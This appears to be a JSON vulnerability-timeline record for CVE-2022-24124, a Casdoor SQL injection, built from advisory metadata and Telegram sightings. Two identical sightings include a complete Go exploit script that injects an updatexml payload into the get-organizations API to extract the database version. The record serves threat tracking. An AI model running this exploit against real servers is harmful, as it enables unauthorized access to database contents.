{"metadata": {"vulnerability": "cve-2022-24124", "count": 27, "kinds": {"milestone": 5, "sighting": 10, "kev": 0, "other": 12}}, "data": [{"timestamp": "2022-01-29T00:00:00Z", "date_only": true, "value": "2022-01-29", "kind": "other", "label": "Pubdate", "source": "gsd \u00b7 GSD-2022-24124", "record": "GSD-2022-24124", "field": "namespaces.gitlab.com.advisories.0.pubdate"}, {"timestamp": "2022-01-29T00:00:00Z", "date_only": false, "value": "2022-01-29T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2022-24124", "field": "cveMetadata.dateReserved"}, {"timestamp": "2022-01-29T22:53:01Z", "date_only": false, "value": "2022-01-29T22:53:01.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2022-24124", "field": "cveMetadata.datePublished"}, {"timestamp": "2022-01-29T23:15:00Z", "date_only": false, "value": "2022-01-29T23:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-M358-G4RP-533R", "record": "GHSA-M358-G4RP-533R", "field": "database_specific.nvd_published_at"}, {"timestamp": "2022-01-29T23:15:00Z", "date_only": false, "value": "2022-01-29T23:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2022-24124", "record": "GSD-2022-24124", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2022-01-29T23:15:07.540Z", "date_only": false, "value": "2022-01-29T23:15:07.540", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-24124", "record": "FKIE_CVE-2022-24124", "field": "published"}, {"timestamp": "2022-01-29T23:15:07.540Z", "date_only": false, "value": "2022-01-29T23:15:07.540Z", "kind": "milestone", "label": "Published", "source": "pysec \u00b7 PYSEC-2022-43189", "record": "PYSEC-2022-43189", "field": "published"}, {"timestamp": "2022-01-30T02:23:22Z", "date_only": false, "value": "2022-01-30T02:23:22.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/36566", "record": "CVE-2022-24124", "field": "creation_timestamp", "uuid": "e21bcf1b-a021-43f6-8314-af9a7fe17d0b", "content": "\u203c CVE-2022-24124 \u203c\n\nThe query API in Casdoor before 1.13.1 has a SQL injection vulnerability related to the field and value parameters, as demonstrated by api/get-organizations.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "url": "https://t.me/cibsecurity/36566"}, {"timestamp": "2022-02-01T00:49:39Z", "date_only": false, "value": "2022-02-01T00:49:39Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-M358-G4RP-533R", "record": "GHSA-M358-G4RP-533R", "field": "published"}, {"timestamp": "2022-02-07T21:15:30Z", "date_only": false, "value": "2022-02-07T21:15:30Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-M358-G4RP-533R", "record": "GHSA-M358-G4RP-533R", "field": "modified"}, {"timestamp": "2022-02-27T07:33:48Z", "date_only": false, "value": "2022-02-27T07:33:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1550", "record": "CVE-2022-24124", "field": "creation_timestamp", "uuid": "0dba5300-5cf6-4521-9017-6084088411e0", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aPOC for CVE-2022-24124\nURL\uff1ahttps://github.com/ColdFusionX/CVE-2022-24124", "url": "https://t.me/GithubRedTeam/1550"}, {"timestamp": "2022-02-28T18:06:19Z", "date_only": false, "value": "2022-02-28T18:06:19.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "cve-2022-24124", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2022-03-09T11:36:32Z", "date_only": false, "value": "2022-03-09T11:36:32.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/48210", "record": "CVE-2022-24124", "field": "creation_timestamp", "uuid": "c1a63bcb-17fe-4429-a22b-657979bac37a", "content": "Casdoor SQL Injection (CVE-2022-24124)\n\nhttps://ift.tt/aQrKzDB", "url": "https://t.me/ctinow/48210"}, {"timestamp": "2022-04-05T00:00:00Z", "date_only": true, "value": "2022-04-05", "kind": "other", "label": "Date", "source": "gsd \u00b7 GSD-2022-24124", "record": "GSD-2022-24124", "field": "namespaces.gitlab.com.advisories.0.date"}, {"timestamp": "2022-04-05T20:21:00Z", "date_only": false, "value": "2022-04-05T20:21Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2022-24124", "record": "GSD-2022-24124", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2022-09-05T12:37:13Z", "date_only": false, "value": "2022-09-05T12:37:13.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberSecurityTechnologies/6742", "record": "CVE-2022-24124", "field": "creation_timestamp", "uuid": "0067bf2a-b1df-43f5-aee2-763f2d46b546", "content": "#exploit\n1. CVE-2021-38297:\nGo Web Assembly Vulnerability\nhttps://jfrog.com/blog/cve-2021-38297-analysis-of-a-go-web-assembly-vulnerability\n\n2. CVE-2022-24124:\nCasdoor SQL Injection\nhttps://github.com/cukw/CVE-2022-24124_POC\n]-> https://blog.qualys.com/vulnerabilities-threat-research/2022/03/09/casdoor-sql-injection-cve-2022-24124", "url": "https://t.me/CyberSecurityTechnologies/6742"}, {"timestamp": "2023-12-13T01:19:43.349Z", "date_only": false, "value": "2023-12-13T01:19:43.349382Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-24124", "record": "GSD-2022-24124", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-08-03T03:59:23.921Z", "date_only": false, "value": "2024-08-03T03:59:23.921Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2022-24124", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-03T03:59:23.921Z", "date_only": false, "value": "2024-08-03T03:59:23.921Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2022-24124", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-17T04:31:20.693Z", "date_only": false, "value": "2026-06-17T04:31:20.693", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-24124", "record": "FKIE_CVE-2022-24124", "field": "lastModified"}, {"timestamp": "2026-07-29T12:01:01.915Z", "date_only": false, "value": "2026-07-29T12:01:01.915904Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/2035", "record": "CVE-2022-24124", "field": "creation_timestamp", "uuid": "b24014c2-620c-4e93-b368-88887d300bef", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-24124\nGithub: https://github.com/cukw/CVE-2022-24124_POC\nDescribe: \nThe query API in Casdoor before 1.13.1 has a SQL injection vulnerability related to the field and value parameters, as demonstrated by api/get-organizations.", "url": "https://t.me/CVEhub/2035"}, {"timestamp": "2026-08-01T05:00:05.901Z", "date_only": false, "value": "2026-08-01T05:00:05.901956Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/2035", "record": "CVE-2022-24124", "field": "creation_timestamp", "uuid": "5a09a7ff-286b-401e-8931-749bbadc9e70", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-24124\nGithub: https://github.com/cukw/CVE-2022-24124_POC\nDescribe: \nThe query API in Casdoor before 1.13.1 has a SQL injection vulnerability related to the field and value parameters, as demonstrated by api/get-organizations.", "url": "https://t.me/CVEhub/2035"}, {"timestamp": "2026-09-01T17:00:25.937Z", "date_only": false, "value": "2026-09-01T17:00:25.937738Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/6122", "record": "CVE-2022-24124", "field": "creation_timestamp", "uuid": "0c2de8b3-188b-437a-8223-de2cc41bb150", "content": "exploit\n1. CVE-2021-38297:\nGo Web Assembly Vulnerability\nhttps://jfrog.com/blog/cve-2021-38297-analysis-of-a-go-web-assembly-vulnerability\n\n2. CVE-2022-24124:\nCasdoor SQL Injection\nhttps://github.com/cukw/CVE-2022-24124_POC\n]-> https://blog.qualys.com/vulnerabilities-threat-research/2022/03/09/casdoor-sql-injection-cve-2022-24124", "url": "https://t.me/cissp/6122"}, {"timestamp": "2026-09-01T20:01:53.354Z", "date_only": false, "value": "2026-09-01T20:01:53.354098Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/44499", "record": "CVE-2022-24124", "field": "creation_timestamp", "uuid": "fb96c96f-f177-4acc-a8e4-39630d82b641", "content": "Exploit Collector\nCasdoor 1.13.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png \nCasdoor version 1.13.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 16e19334ce8fca7c8023e6e8c196fd9c\n\nDownload\n// Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated) \n// Date: 2022-02-25\n// Exploit Author: Mayank Deshmukh\n// Vendor Homepage: https://casdoor.org/\n// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0\n// Version: version < 1.13.1\n// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r\n// Tested on: Kali Linux\n// CVE : CVE-2022-24124\n// Github POC: https://github.com/ColdFusionX/CVE-2022-24124\n\n// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080\n\npackage main\n\nimport (\n\"flag\"\n\"fmt\"\n\"html\"\n\"io/ioutil\"\n\"net/http\"\n\"os\"\n\"regexp\"\n\"strings\"\n)\n\nfunc main() {\nvar url string\nflag.StringVar(&url, \"u\", \"\", \"Casdoor URL (ex. http://127.0.0.1:8080)\")\nflag.Parse()\n\nbanner := `\n-=Casdoor SQL Injection (CVE-2022-24124)=- \n- by Mayank Deshmukh (ColdFusionX)\n\n`\nfmt.Printf(banner)\nfmt.Println(\"[*] Dumping Database Version\")\nresponse, err := http.Get(url + \"/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)\")\n\nif err != nil {\npanic(err)\n}\n\ndefer response.Body.Close()\n\ndatabytes, err := ioutil.ReadAll(response.Body)\n\nif err != nil {\npanic(err)\n}\n\ncontent := string(databytes)\n\nre := regexp.MustCompile(\"(?i)(XPATH syntax error.*')\")\n\nresult := re.FindAllString(content, -1)\n\nsqliop := fmt.Sprint(result)\nreplacer := strings.NewReplacer(\"[\", \"\", \"]\", \"\", \"'\", \"\", \";\", \"\")\n\nfinalop := replacer.Replace(sqliop)\nfmt.Println(html.UnescapeString(finalop))\nif result == nil {\nfmt.Printf(\"Application not vulnerable\\n\")\nos.Exit(1)\n}\n\n}\n\nSource:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/44499"}, {"timestamp": "2026-09-06T07:00:06.066Z", "date_only": false, "value": "2026-09-06T07:00:06.066007Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/44499", "record": "CVE-2022-24124", "field": "creation_timestamp", "uuid": "64fa0cbc-d1c5-41c6-949d-ac9cf28837ea", "content": "Exploit Collector\nCasdoor 1.13.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png \nCasdoor version 1.13.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 16e19334ce8fca7c8023e6e8c196fd9c\n\nDownload\n// Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated) \n// Date: 2022-02-25\n// Exploit Author: Mayank Deshmukh\n// Vendor Homepage: https://casdoor.org/\n// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0\n// Version: version < 1.13.1\n// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r\n// Tested on: Kali Linux\n// CVE : CVE-2022-24124\n// Github POC: https://github.com/ColdFusionX/CVE-2022-24124\n\n// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080\n\npackage main\n\nimport (\n\"flag\"\n\"fmt\"\n\"html\"\n\"io/ioutil\"\n\"net/http\"\n\"os\"\n\"regexp\"\n\"strings\"\n)\n\nfunc main() {\nvar url string\nflag.StringVar(&url, \"u\", \"\", \"Casdoor URL (ex. http://127.0.0.1:8080)\")\nflag.Parse()\n\nbanner := `\n-=Casdoor SQL Injection (CVE-2022-24124)=- \n- by Mayank Deshmukh (ColdFusionX)\n\n`\nfmt.Printf(banner)\nfmt.Println(\"[*] Dumping Database Version\")\nresponse, err := http.Get(url + \"/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)\")\n\nif err != nil {\npanic(err)\n}\n\ndefer response.Body.Close()\n\ndatabytes, err := ioutil.ReadAll(response.Body)\n\nif err != nil {\npanic(err)\n}\n\ncontent := string(databytes)\n\nre := regexp.MustCompile(\"(?i)(XPATH syntax error.*')\")\n\nresult := re.FindAllString(content, -1)\n\nsqliop := fmt.Sprint(result)\nreplacer := strings.NewReplacer(\"[\", \"\", \"]\", \"\", \"'\", \"\", \";\", \"\")\n\nfinalop := replacer.Replace(sqliop)\nfmt.Println(html.UnescapeString(finalop))\nif result == nil {\nfmt.Printf(\"Application not vulnerable\\n\")\nos.Exit(1)\n}\n\n}\n\nSource:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/44499"}, {"timestamp": "2026-09-10T07:00:04.920Z", "date_only": false, "value": "2026-09-10T07:00:04.920395Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cissp/6122", "record": "CVE-2022-24124", "field": "creation_timestamp", "uuid": "0b0124f4-0d35-4009-a126-8a0f573762ad", "content": "exploit\n1. CVE-2021-38297:\nGo Web Assembly Vulnerability\nhttps://jfrog.com/blog/cve-2021-38297-analysis-of-a-go-web-assembly-vulnerability\n\n2. CVE-2022-24124:\nCasdoor SQL Injection\nhttps://github.com/cukw/CVE-2022-24124_POC\n]-> https://blog.qualys.com/vulnerabilities-threat-research/2022/03/09/casdoor-sql-injection-cve-2022-24124", "url": "https://t.me/cissp/6122"}, {"timestamp": "2026-10-04T09:41:52.857Z", "date_only": false, "value": "2026-10-04T09:41:52.857192Z", "kind": "other", "label": "Updated", "source": "pysec \u00b7 PYSEC-2022-43189", "record": "PYSEC-2022-43189", "field": "modified"}]}